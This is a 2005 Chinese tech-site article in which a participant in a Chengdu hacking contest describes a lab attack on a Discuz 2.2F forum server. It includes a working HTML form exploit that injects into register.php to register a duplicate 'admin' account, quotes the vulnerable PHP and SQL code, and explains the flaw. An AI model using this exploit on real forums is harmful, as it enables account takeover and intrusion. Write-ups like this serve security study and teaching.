通行证:用户名 密码 首页 - 新闻 - 免费邮箱 - 短信 - POPO - 相册 - 搜索 - 交友 - 拍卖
NetEase
新闻 | 体育 | 财经 | 娱乐 | 商业 | 科技 | 汽车 | 数码 | 女人 | 旅游 | 教育 | 文化 | 广州 | 军事 | 部落
评论 | NBA | 明星 | 证券 | 基金 | 探索 | 房产 | 手机 | 两性 | 健康 | 培训 | 电影 | 游戏 | 拍卖 | 论坛
科技首页 重磅报道 专题 IT茶馆 技术趋势 科学 学院 游戏 病毒 下载 论坛
热门搜索关键字:
WEB 学院

网易科技 -> 网易学院首页 -> 病毒·安全新闻 | 文章正文

[教程有错,我要报告错误]

四川成都黑客大赛技术细节与个人评论

[2005-10-25 10:57:40] [来源:天极网] [我要投稿]

本文章地址:http://tech.163.com/05/1025/10/20TFNMMG00091KUI.html [点此复制地址]

  估计大家都知道成都的“天地杯”网络安全攻防大赛的消息了,既然和网络安全有关,估计不少朋友都想知道其中的技术细节,我就说说其中技术细节。至于和我一起参加比赛的人,都是圈内比较出名的人物,机会、优势几乎都在我们这边了,其他我就暂时不说了。圈内也有不少人知道是我们几个参加了,所以我觉得写出来也无所谓。先说说技术的,完了再说说我个人的看法。

   首先说说这次的攻击环境:

  Web 服务器( 172.16.0.125 )
  系统: Windows Server 2003 / Apache 1.3.31
  打开端口:80、3389
  Web 程序:Discuz 2.2F

  MySQL 服务器( 172.16.0.119 )
  系统: Windows Server 2003 / Mysql 4.0.21
  打开端口: 3306、3389

   注意:比赛规定是不允许上外网,所有工具都是自己带的。且刚开始数据库服务器 IP 是未知的,我们的目标是拿到数据库上 D 盘的相应文件。

  尽管我们几个人讨论了几个方案和分工,但是由于实际情况,我们还是做了一些改变,我几乎是全权负责攻击,其他人负责干扰对手、嗅探、搭建各种服务共我们交流、交换工具,由于不准上外网,我们下载了 QQ 企业版交流,在其中一个人的服务器上搭建了 WEB 服务器,提供我们自己带来一些工具,于是我们为了进攻的进度得以保障,我们每个人都修改了默认管理密码,禁用其他所有系统用户,停掉 N 多默认的服务,禁止空连接,做了本地安全策略,修改了 IP 地址的 C 段使我们和其他人不在同一个网段,配置好了,也差不多开始了。

  经过了安全专家的精心配置,所以我想直接从系统入手可能性还是比较小,尽管如此,还是分配了两个人用扫描器对 Web 服务器进行扫描并生成报告,另外的人嗅探抓到了不少系统的密码等敏感信息,我就不说其他人了,由于我负责全部的攻击,我还是把过程写出来。

  我知道 Discuz 2.2F 有两个致命漏洞,但是官方也发布了更新版本,不知道这里存在不,不管怎么说,获得 webshell 是最基本的,不然一切都不可能,恰好 Discuz 2.2F 给我们提供了条件,访问 http://172.16.0.125/forumdata/illegallog.php ,返回“ Access Denied ”,漏洞不存在,换一个,这个 2.2F 的早期版本可以注册相同的 ID ,不过对于繁体的论坛的中文名注册会变乱码,我只测试了英文名的,不管,先写一个表单:

<FORM action="http://172.16.0.125/register.php?emailadd=and uid=100000&doublee=1" method=post target=_blank>
<BR>
用户名 :
<INPUT value=admin name=username>


<BR>
<BR>
密码:
<INPUT value=123456 name=password>

<BR>
<BR>
确认密码:
<INPUT value=123456 name=password2>

<BR>
<BR>
E-mail :
<INPUT value=4ngel@21cn.com name=email>

<BR>
<BR>
<INPUT type=submit value=注册 name=regsubmit>

<BR>
</FORM>
</P>

  这个漏洞不是我发现的,但是我自己分析过,在我们的内部论坛有我的分析报告,现在公布出来。先说说这个漏洞的利用和存在的理由。

  register.php 的代码中有如下代码:

$email = trim($email);
<BR>
if(!$doublee && strstr($email, ’@’)) {
<BR>
   $emailadd = "OR email=’$email’";
<BR>
}

  这里是说如果不存在 $doublee 这个变量,并且判断邮件地址格式正确,就指定 $emailadd 这个变量为 "OR email=’$email’" ,为后面的 SQL 语句做准备。往下有一段代码如下:


$query = $db->
query("SELECT COUNT(*) FROM $table_members WHERE username=’$username’
<STRONG>
$emailadd
</STRONG>
");
<BR>
if($db->
result($query, 0)) {
<BR>
   showmessage(’profile_account_duplicate’);
<BR>
}

  默认 $emailadd = "OR email=’$email’" 是满足的,所以上面的 SQL 语句就变成判断用户名和邮箱,有任意一个相同,就提示“该用户名或 Email 地址已经被注册了,请返回重新填写。”

网易学院 [编辑:songtao] [返回网易学院首页] [http://tech.163.com/school]

相关文章:

推荐专题:

 

推荐文章:

·Golive将取代dreamweaver? ·全球杀毒软件大使用经验谈 ·Photoshop打造超短裤美眉 ·多媒体知识全接触教程

滚动更新:

·06上半年十大病毒排行榜出炉 灰鸽子成毒王 ·简直太强了!外国顶级Illustrator高手的作品 ·硬件厂商标志欣赏 ·超强的Coral Draw教程:鼠绘BMW汽车 ·六种设置方法彻底优化IE浏览器 ·Maxthon 2最新版本预览之功能篇(上) ·10大严重安全问题及预防措施(上) ·快速恢复WindowsXP管理员密码三大技巧 ·分享知识分享成功 谈网站建设的三个步骤 ·总结:用CSS进行网页样式设计攻略全集 ·Dreamweaver经典问题大搜罗 ·用PS给她绘制一颗有质感的红心 ·推荐:揭密黑客兵器的四大基本派系! ·用Winrar 自动解压功能定制安装程序 ·Photoshop为我家宝宝照片柔肤的简单技巧 ·教你强力破解E-mail密码的三种方法 ·手把手教您手工剿灭QQ广告弹出木马 ·浅谈Windows系统多重启动的重要文件 ·Windows系统美化:走向极端的好色潮流 ·桌面搜索数据库大挪移